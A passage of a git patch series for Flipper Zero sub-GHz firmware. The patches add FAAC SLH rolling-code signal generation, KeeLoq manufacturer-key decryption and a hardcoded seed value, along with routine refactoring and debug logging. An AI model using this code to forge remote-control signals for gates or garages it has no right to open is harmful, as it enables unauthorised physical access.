subghz_protocol_decoder_faac_slh_get_hash_data(void* context) { @@ -443,7 +471,7 @@ void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) "Key:%lX%08lX\r\n" "Fix:%08lX Cnt:%04X\r\n" "Hop:%08lX Btn:%lX\r\n" - "Sn:%07lX Seed:%8X\r\n", + "Sn:%07lX Sd:%8X", instance->generic.protocol_name, instance->generic.data_count_bit, (uint32_t)(instance->generic.data >> 32), diff --git a/lib/subghz/protocols/faac_slh.h b/lib/subghz/protocols/faac_slh.h index ae84d3244..288892191 100644 --- a/lib/subghz/protocols/faac_slh.h +++ b/lib/subghz/protocols/faac_slh.h @@ -24,6 +24,30 @@ void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment); */ void subghz_protocol_encoder_faac_slh_free(void* context); +/** + * Key generation from simple data. + * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance + * @param flipper_format Pointer to a FlipperFormat instance + * @param serial Serial number, 28 bit + * @param btn Button number, 4 bit + * @param cnt Counter value, 16 bit + * @param seed Seed value, 32 bit + * @param manufacture_name Name of manufacturer's key + * @param frequency Transmission frequency, Hz + * @param preset Modulation, FuriHalSubGhzPreset + * @return true On success + */ +bool subghz_protocol_faac_slh_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint16_t cnt, + uint32_t seed, + const char* manufacture_name, + uint32_t frequency, + FuriHalSubGhzPreset preset); + /** * Deserialize and generating an upload to send. * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance From 6cfe5abd2a5223ac1654b782fa2c0a072bc29faf Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 19 Apr 2022 00:40:39 +0300 Subject: [PATCH 093/461] Update subghz_scene_set_type.c --- applications/subghz/scenes/subghz_scene_set_type.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 0d5231005..630acfd42 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -164,7 +164,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { uint32_t fix_part = subghz->txrx->fix_data->fix[0] << 24 | subghz->txrx->fix_data->fix[1] << 16 | subghz->txrx->fix_data->fix[2] << 8 | subghz->txrx->fix_data->fix[3]; - uint16_t cnt = subghz->txrx->cnt_data->cnt[0] << 8 | subghz->txrx->cnt_data->cnt[1] << 16; + uint16_t cnt = subghz->txrx->cnt_data->cnt[0] << 8 | subghz->txrx->cnt_data->cnt[1]; uint32_t seed = subghz->txrx->seed_data->seed[0] << 24 | subghz->txrx->seed_data->seed[1] << 16 | subghz->txrx->seed_data->seed[2] << 8 | subghz->txrx->seed_data->seed[3]; From 5dcdce4ed68d72ae52e9ee4cf2d77c24d900a610 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 20 Apr 2022 19:04:19 +0300 Subject: [PATCH 094/461] Update subghz.c --- applications/subghz/subghz.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/applications/subghz/subghz.c b/applications/subghz/subghz.c index 5a59d89bb..b199bcc7a 100644 --- a/applications/subghz/subghz.c +++ b/applications/subghz/subghz.c @@ -67,6 +67,11 @@ SubGhz* subghz_alloc() { view_dispatcher_add_view( subghz->view_dispatcher, SubGhzViewIdTextInput, text_input_get_view(subghz->text_input)); + // Byte Input + subghz->byte_input = byte_input_alloc(); + view_dispatcher_add_view( + subghz->view_dispatcher, SubGhzViewIdByteInput, byte_input_get_view(subghz->byte_input)); + // Custom Widget subghz->widget = widget_alloc(); view_dispatcher_add_view( @@ -138,7 +143,9 @@ SubGhz* subghz_alloc() { subghz->txrx->history = subghz_history_alloc(); subghz->txrx->worker = subghz_worker_alloc(); subghz->txrx->fff_data = flipper_format_string_alloc(); - + subghz->txrx->seed_data = malloc(sizeof(SeedData)); + subghz->txrx->fix_data = malloc(sizeof(FixData)); + subghz->txrx->cnt_data = malloc(sizeof(CntData)); subghz->txrx->environment = subghz_environment_alloc(); subghz_environment_set_came_atomo_rainbow_table_file_name( subghz->txrx->environment, "/ext/subghz/assets/came_atomo"); @@ -182,6 +189,10 @@ void subghz_free(SubGhz* subghz) { view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdTextInput); text_input_free(subghz->text_input); + // ByteInput + view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdByteInput); + byte_input_free(subghz->byte_input); + // Custom Widget view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdWidget); widget_free(subghz->widget); @@ -233,6 +244,9 @@ void subghz_free(SubGhz* subghz) { flipper_format_free(subghz->txrx->fff_data); subghz_history_free(subghz->txrx->history); free(subghz->txrx); + free(subghz->txrx->seed_data); + free(subghz->txrx->fix_data); + free(subghz->txrx->cnt_data); //Error string string_clear(subghz->error_str); From cbfcc982784b73bd120eba496e18bf21d364cfc0 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 20 Apr 2022 19:08:25 +0300 Subject: [PATCH 095/461] Update subghz.c --- applications/subghz/subghz.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/subghz.c b/applications/subghz/subghz.c index b199bcc7a..4c3ba27d3 100644 --- a/applications/subghz/subghz.c +++ b/applications/subghz/subghz.c @@ -243,10 +243,10 @@ void subghz_free(SubGhz* subghz) { subghz_worker_free(subghz->txrx->worker); flipper_format_free(subghz->txrx->fff_data); subghz_history_free(subghz->txrx->history); - free(subghz->txrx); free(subghz->txrx->seed_data); free(subghz->txrx->fix_data); free(subghz->txrx->cnt_data); + free(subghz->txrx); //Error string string_clear(subghz->error_str); From b42e6451954d1493c208a06fe0bcd5167a54135e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 20 Apr 2022 20:27:35 +0300 Subject: [PATCH 096/461] some fixes --- applications/subghz/scenes/subghz_scene_set_type.c | 2 ++ lib/subghz/protocols/faac_slh.c | 1 + 2 files changed, 3 insertions(+) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 630acfd42..179ff85f7 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -160,6 +160,8 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { switch(event.event) { case SubmenuIndexFaacSLH: subghz->txrx->fix_data->fix_len = 4; + subghz->txrx->cnt_data->cnt_len = 2; + subghz->txrx->seed_data->seed_len = 4; scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); uint32_t fix_part = subghz->txrx->fix_data->fix[0] << 24 | subghz->txrx->fix_data->fix[1] << 16 | subghz->txrx->fix_data->fix[2] << 8 | subghz->txrx->fix_data->fix[3]; diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 4c4bebd85..d869163d0 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -172,6 +172,7 @@ bool subghz_protocol_faac_slh_create_data( furi_assert(context); SubGhzProtocolEncoderFaacSLH* instance = context; instance->generic.serial = serial; + instance->generic.btn = btn; instance->generic.cnt = cnt; instance->generic.seed = seed; instance->manufacture_name = manufacture_name; From 03f5a45952ff236757d629636d7135243be5bcb6 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 20 Apr 2022 20:47:32 +0300 Subject: [PATCH 097/461] Update subghz_scene_set_seed.c --- applications/subghz/scenes/subghz_scene_set_seed.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 90b08633d..d91cdb5b1 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -11,7 +11,7 @@ void subghz_scene_set_seed_on_enter(void* context) { // Setup view ByteInput* byte_input = subghz->byte_input; - byte_input_set_header_text(byte_input, "Enter COUNTER in hex"); + byte_input_set_header_text(byte_input, "Enter SEED in hex"); byte_input_set_result_callback( byte_input, subghz_scene_set_seed_byte_input_callback, From b8b568f721f1251b1ee064470c941514b0053005 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 20 Apr 2022 20:51:21 +0300 Subject: [PATCH 098/461] Update subghz_scene_set_type.c --- applications/subghz/scenes/subghz_scene_set_type.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 179ff85f7..90530ec37 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -165,11 +165,12 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); uint32_t fix_part = subghz->txrx->fix_data->fix[0] << 24 | subghz->txrx->fix_data->fix[1] << 16 | subghz->txrx->fix_data->fix[2] << 8 | subghz->txrx->fix_data->fix[3]; - + FURI_LOG_I(TAG, "fix: %8X", fix_part); uint16_t cnt = subghz->txrx->cnt_data->cnt[0] << 8 | subghz->txrx->cnt_data->cnt[1]; - + FURI_LOG_I(TAG, "cnt: %8X", cnt); uint32_t seed = subghz->txrx->seed_data->seed[0] << 24 | subghz->txrx->seed_data->seed[1] << 16 | subghz->txrx->seed_data->seed[2] << 8 | subghz->txrx->seed_data->seed[3]; + FURI_LOG_I(TAG, "seed: %8X", seed); subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); if(subghz->txrx->transmitter) { From 799defbdfa5b2b7e9dd2265c42a3c2ecdeea0fa2 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 20 Apr 2022 21:12:05 +0300 Subject: [PATCH 099/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 50 ++++++++++++++++----------------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index d869163d0..88ef7190f 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -399,34 +399,34 @@ static void subghz_protocol_faac_slh_check_remote_controller //uint64_t code_found_reverse = //subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit); uint32_t code_fix = instance->data >> 32; - //uint32_t code_hop = instance->data & 0xFFFFFFFF; + uint32_t code_hop = instance->data & 0xFFFFFFFF; instance->serial = code_fix >> 4; instance->btn = code_fix & 0xF; - //uint32_t decrypt = 0; - //uint64_t man; - //instance->seed = 0; + uint32_t decrypt = 0; + uint64_t man; + instance->seed = 0; -/** - * for - * M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { - * uint32_t hi = manufacture_code->key >> 32; - * uint32_t lo = manufacture_code->key & 0xFFFFFFFF; - * switch(manufacture_code->type) { - * case KEELOQ_LEARNING_FAAC: - * // FAAC Learning - * man = subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); - * FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); - * uint32_t mlhi = man >> 32; - * uint32_t mllo = man & 0xFFFFFFFF; - * FURI_LOG_I(TAG, "man_learning: %8X%8X\n", mlhi, mllo); - * decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); - * FURI_LOG_I(TAG, "hop: %8X\n", code_hop); - * *manufacture_name = string_get_cstr(manufacture_code->name); - * break; - * } - * } - */ - instance->cnt = 0x0; + + for + M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { + uint32_t hi = manufacture_code->key >> 32; + uint32_t lo = manufacture_code->key & 0xFFFFFFFF; + switch(manufacture_code->type) { + case KEELOQ_LEARNING_FAAC: + // FAAC Learning + man = subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); + uint32_t mlhi = man >> 32; + uint32_t mllo = man & 0xFFFFFFFF; + FURI_LOG_I(TAG, "man_learning: %8X%8X\n", mlhi, mllo); + decrypt = subghz_protocol_keeloq_common_decrypt(code_hop, man); + FURI_LOG_I(TAG, "hop: %8X\n", code_hop); + *manufacture_name = string_get_cstr(manufacture_code->name); + break; + } + } + + instance->cnt = decrypt & 0xFFFF; } uint8_t subghz_protocol_decoder_faac_slh_get_hash_data(void* context) { From 60501ee9545a2006e2d4b6e94565838141160ecd Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 20 Apr 2022 21:29:45 +0300 Subject: [PATCH 100/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 88ef7190f..d93c9c934 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -116,7 +116,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst uint32_t hop = 0; uint32_t decrypt = 0; uint64_t man = 0; - //instance->generic.seed = 0; + instance->generic.seed = 0x77ED7698; int res = 0; char fixx[8] = {}; int shiftby = 32; @@ -404,7 +404,7 @@ static void subghz_protocol_faac_slh_check_remote_controller instance->btn = code_fix & 0xF; uint32_t decrypt = 0; uint64_t man; - instance->seed = 0; + instance->seed = 0x77ED7698; for From a3d5d47cfefeca9ff8b40b4ab83f79ec70c56277 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 20 Apr 2022 22:23:45 +0300 Subject: [PATCH 101/461] ref --- .../subghz/scenes/subghz_scene_set_cnt.c | 2 +- .../subghz/scenes/subghz_scene_set_fix.c | 2 +- .../subghz/scenes/subghz_scene_set_seed.c | 2 +- .../subghz/scenes/subghz_scene_set_type.c | 13 +++++-------- applications/subghz/subghz.c | 8 ++------ applications/subghz/subghz_i.h | 17 +++-------------- 6 files changed, 13 insertions(+), 31 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt.c b/applications/subghz/scenes/subghz_scene_set_cnt.c index e124d7e6a..a58ddb475 100644 --- a/applications/subghz/scenes/subghz_scene_set_cnt.c +++ b/applications/subghz/scenes/subghz_scene_set_cnt.c @@ -17,7 +17,7 @@ void subghz_scene_set_cnt_on_enter(void* context) { subghz_scene_set_cnt_byte_input_callback, NULL, subghz, - subghz->txrx->cnt_data->cnt, + subghz->txrx->secure_data->cnt, 2); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); } diff --git a/applications/subghz/scenes/subghz_scene_set_fix.c b/applications/subghz/scenes/subghz_scene_set_fix.c index f3ab46385..bafa2686c 100644 --- a/applications/subghz/scenes/subghz_scene_set_fix.c +++ b/applications/subghz/scenes/subghz_scene_set_fix.c @@ -17,7 +17,7 @@ void subghz_scene_set_fix_on_enter(void* context) { subghz_scene_set_fix_byte_input_callback, NULL, subghz, - subghz->txrx->fix_data->fix, + subghz->txrx->secure_data->fix, 4); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); } diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index d91cdb5b1..bc5c94750 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -17,7 +17,7 @@ void subghz_scene_set_seed_on_enter(void* context) { subghz_scene_set_seed_byte_input_callback, NULL, subghz, - subghz->txrx->seed_data->seed, + subghz->txrx->secure_data->seed, 4); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); } diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 90530ec37..678d9adde 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -159,17 +159,14 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { uint32_t key = subghz_random_serial(); switch(event.event) { case SubmenuIndexFaacSLH: - subghz->txrx->fix_data->fix_len = 4; - subghz->txrx->cnt_data->cnt_len = 2; - subghz->txrx->seed_data->seed_len = 4; scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); - uint32_t fix_part = subghz->txrx->fix_data->fix[0] << 24 | subghz->txrx->fix_data->fix[1] << 16 | - subghz->txrx->fix_data->fix[2] << 8 | subghz->txrx->fix_data->fix[3]; + uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | + subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; FURI_LOG_I(TAG, "fix: %8X", fix_part); - uint16_t cnt = subghz->txrx->cnt_data->cnt[0] << 8 | subghz->txrx->cnt_data->cnt[1]; + uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; FURI_LOG_I(TAG, "cnt: %8X", cnt); - uint32_t seed = subghz->txrx->seed_data->seed[0] << 24 | subghz->txrx->seed_data->seed[1] << 16 | - subghz->txrx->seed_data->seed[2] << 8 | subghz->txrx->seed_data->seed[3]; + uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | + subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; FURI_LOG_I(TAG, "seed: %8X", seed); subghz->txrx->transmitter = subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); diff --git a/applications/subghz/subghz.c b/applications/subghz/subghz.c index 4c3ba27d3..ce962d431 100644 --- a/applications/subghz/subghz.c +++ b/applications/subghz/subghz.c @@ -143,9 +143,7 @@ SubGhz* subghz_alloc() { subghz->txrx->history = subghz_history_alloc(); subghz->txrx->worker = subghz_worker_alloc(); subghz->txrx->fff_data = flipper_format_string_alloc(); - subghz->txrx->seed_data = malloc(sizeof(SeedData)); - subghz->txrx->fix_data = malloc(sizeof(FixData)); - subghz->txrx->cnt_data = malloc(sizeof(CntData)); + subghz->txrx->secure_data = malloc(sizeof(SecureData)); subghz->txrx->environment = subghz_environment_alloc(); subghz_environment_set_came_atomo_rainbow_table_file_name( subghz->txrx->environment, "/ext/subghz/assets/came_atomo"); @@ -243,9 +241,7 @@ void subghz_free(SubGhz* subghz) { subghz_worker_free(subghz->txrx->worker); flipper_format_free(subghz->txrx->fff_data); subghz_history_free(subghz->txrx->history); - free(subghz->txrx->seed_data); - free(subghz->txrx->fix_data); - free(subghz->txrx->cnt_data); + free(subghz->txrx->secure_data); free(subghz->txrx); //Error string diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index 71ff5e884..d090954ec 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -83,19 +83,10 @@ typedef enum { } SubGhzLoadKeyState; typedef struct { - uint8_t seed_len; - uint8_t seed[4]; -} SeedData; - -typedef struct { - uint8_t fix_len; uint8_t fix[4]; -} FixData; - -typedef struct { - uint8_t cnt_len; uint8_t cnt[2]; -} CntData; + uint8_t seed[4]; +} SecureData; struct SubGhzTxRx { SubGhzWorker* worker; @@ -105,9 +96,7 @@ struct SubGhzTxRx { SubGhzTransmitter* transmitter; SubGhzProtocolDecoderBase* decoder_result; FlipperFormat* fff_data; - SeedData* seed_data; - FixData* fix_data; - CntData* cnt_data; + SecureData* secure_data; uint32_t frequency; FuriHalSubGhzPreset preset; From e26c913d06b65fde7a08e10ced7f20aad6763799 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 21 Apr 2022 19:55:08 +0300 Subject: [PATCH 102/461] --- --- applications/subghz/scenes/subghz_scene_set_cnt.c | 13 +++++++------ applications/subghz/scenes/subghz_scene_set_fix.c | 13 +++++++------ applications/subghz/scenes/subghz_scene_set_seed.c | 13 +++++++------ 3 files changed, 21 insertions(+), 18 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt.c b/applications/subghz/scenes/subghz_scene_set_cnt.c index a58ddb475..92c6d6ccc 100644 --- a/applications/subghz/scenes/subghz_scene_set_cnt.c +++ b/applications/subghz/scenes/subghz_scene_set_cnt.c @@ -1,13 +1,13 @@ #include "../subghz_i.h" void subghz_scene_set_cnt_byte_input_callback(void* context) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); } void subghz_scene_set_cnt_on_enter(void* context) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; // Setup view ByteInput* byte_input = subghz->byte_input; @@ -23,19 +23,20 @@ void subghz_scene_set_cnt_on_enter(void* context) { } bool subghz_scene_set_cnt_on_event(void* context, SceneManagerEvent event) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; + bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventByteInputDone) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetSeed); - return true; + consumed = true; } } - return false; + return consumed; } void subghz_scene_set_cnt_on_exit(void* context) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); diff --git a/applications/subghz/scenes/subghz_scene_set_fix.c b/applications/subghz/scenes/subghz_scene_set_fix.c index bafa2686c..d8e5bb7e1 100644 --- a/applications/subghz/scenes/subghz_scene_set_fix.c +++ b/applications/subghz/scenes/subghz_scene_set_fix.c @@ -1,13 +1,13 @@ #include "../subghz_i.h" void subghz_scene_set_fix_byte_input_callback(void* context) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); } void subghz_scene_set_fix_on_enter(void* context) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; // Setup view ByteInput* byte_input = subghz->byte_input; @@ -23,19 +23,20 @@ void subghz_scene_set_fix_on_enter(void* context) { } bool subghz_scene_set_fix_on_event(void* context, SceneManagerEvent event) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; + bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventByteInputDone) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetCnt); - return true; + consumed = true; } } - return false; + return consumed; } void subghz_scene_set_fix_on_exit(void* context) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index bc5c94750..89c4c11bc 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -1,13 +1,13 @@ #include "../subghz_i.h" void subghz_scene_set_seed_byte_input_callback(void* context) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); } void subghz_scene_set_seed_on_enter(void* context) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; // Setup view ByteInput* byte_input = subghz->byte_input; @@ -23,19 +23,20 @@ void subghz_scene_set_seed_on_enter(void* context) { } bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; + bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventByteInputDone) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); - return true; + consumed = true; } } - return false; + return consumed;; } void subghz_scene_set_seed_on_exit(void* context) { - SubGhz* subghz = (SubGhz*)context; + SubGhz* subghz = context; // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); From 35c13e027e2cffd41aa9228e7d95803aac2c2f95 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 22 Apr 2022 22:21:07 +0300 Subject: [PATCH 103/461] add sesproj --- .gitmodules | 3 +++ sesproject | 1 + 2 files changed, 4 insertions(+) create mode 160000 sesproject diff --git a/.gitmodules b/.gitmodules index c4649fdca..aa9e0170d 100644 --- a/.gitmodules +++ b/.gitmodules @@ -22,3 +22,6 @@ [submodule "lib/microtar"] path = lib/microtar url = https://github.com/amachronic/microtar.git +[submodule "sesproject"] + path = sesproject + url = https://github.com/hedger/flipperzero-sesproject.git diff --git a/sesproject b/sesproject new file mode 160000 index 000000000..ff16e1176 --- /dev/null +++ b/sesproject @@ -0,0 +1 @@ +Subproject commit ff16e11762a7df15982e5446d2bdde620334ebb2 From f5fa5039aaf2523bbabe3c06051c84f1a2c5a2cd Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 23 Apr 2022 01:21:50 +0300 Subject: [PATCH 104/461] scene debug --- applications/subghz/scenes/subghz_scene_set_cnt.c | 4 +++- applications/subghz/scenes/subghz_scene_set_fix.c | 4 +++- applications/subghz/scenes/subghz_scene_set_seed.c | 4 +++- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt.c b/applications/subghz/scenes/subghz_scene_set_cnt.c index 92c6d6ccc..73c080f04 100644 --- a/applications/subghz/scenes/subghz_scene_set_cnt.c +++ b/applications/subghz/scenes/subghz_scene_set_cnt.c @@ -1,5 +1,7 @@ #include "../subghz_i.h" +#define TAG "SubGhzSetCnt" + void subghz_scene_set_cnt_byte_input_callback(void* context) { SubGhz* subghz = context; @@ -37,7 +39,7 @@ bool subghz_scene_set_cnt_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_cnt_on_exit(void* context) { SubGhz* subghz = context; - + FURI_LOG_I(TAG, "cnt: %4X\n", subghz->txrx->secure_data->cnt); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/scenes/subghz_scene_set_fix.c b/applications/subghz/scenes/subghz_scene_set_fix.c index d8e5bb7e1..a1f368e8b 100644 --- a/applications/subghz/scenes/subghz_scene_set_fix.c +++ b/applications/subghz/scenes/subghz_scene_set_fix.c @@ -1,5 +1,7 @@ #include "../subghz_i.h" +#define TAG "SubGhzSetFix" + void subghz_scene_set_fix_byte_input_callback(void* context) { SubGhz* subghz = context; @@ -37,7 +39,7 @@ bool subghz_scene_set_fix_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_fix_on_exit(void* context) { SubGhz* subghz = context; - + FURI_LOG_I(TAG, "fix: %8X\n", subghz->txrx->secure_data->fix); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed.c index 89c4c11bc..565ee56f6 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed.c @@ -1,5 +1,7 @@ #include "../subghz_i.h" +#define TAG "SubGhzSetSeed" + void subghz_scene_set_seed_byte_input_callback(void* context) { SubGhz* subghz = context; @@ -37,7 +39,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_seed_on_exit(void* context) { SubGhz* subghz = context; - + FURI_LOG_I(TAG, "seed: %8X\n", subghz->txrx->secure_data->seed); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); From 3e9ef64a092af0fed4d7c5894b52cfd73c330609 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 23 Apr 2022 16:33:08 +0300 Subject: [PATCH 105/461] /// --- applications/subghz/scenes/subghz_scene_set_cnt.c | 2 +- applications/subghz/scenes/subghz_scene_set_fix.c | 2 +- applications/subghz/scenes/subghz_scene_set_seed.c | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt.c b/applications/subghz/scenes/subghz_scene_set_cnt.c index 73c080f04..06b12a640 100644 --- a/applications/subghz/scenes/subghz_scene_set_cnt.c +++ b/applications/subghz/scenes/subghz_scene_set_cnt.c @@ -39,7 +39,7 @@ bool subghz_scene_set_cnt_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_cnt_on_exit(void* context) { SubGhz* subghz = context; - FURI_LOG_I(TAG, "cnt: %4X\n", subghz->txrx->secure_data->cnt); + FURI_LOG_I(TAG, "cnt: %4X\n", *subghz->txrx->secure_data->cnt); // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/scenes/subghz_scene_set_fix.c b/applications/subghz/scenes/subghz_scene_set_fix.c index a1f368e8b..19931ca35 100644 --- a/applications/subghz/scenes/subghz_scene_set_fix.c +++ b/applications/subghz/scenes/subghz_scene_set_fix.c @@ -39,7 +39,7 @@ bool subghz_scene_set_fix_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_fix_on_exit(void* context) { SubGhz* subghz = context; - FURI_LOG_I(TAG, "fix: %8X\n", subghz->txrx->secure_data->fix); + FURI_LOG_I(TAG, 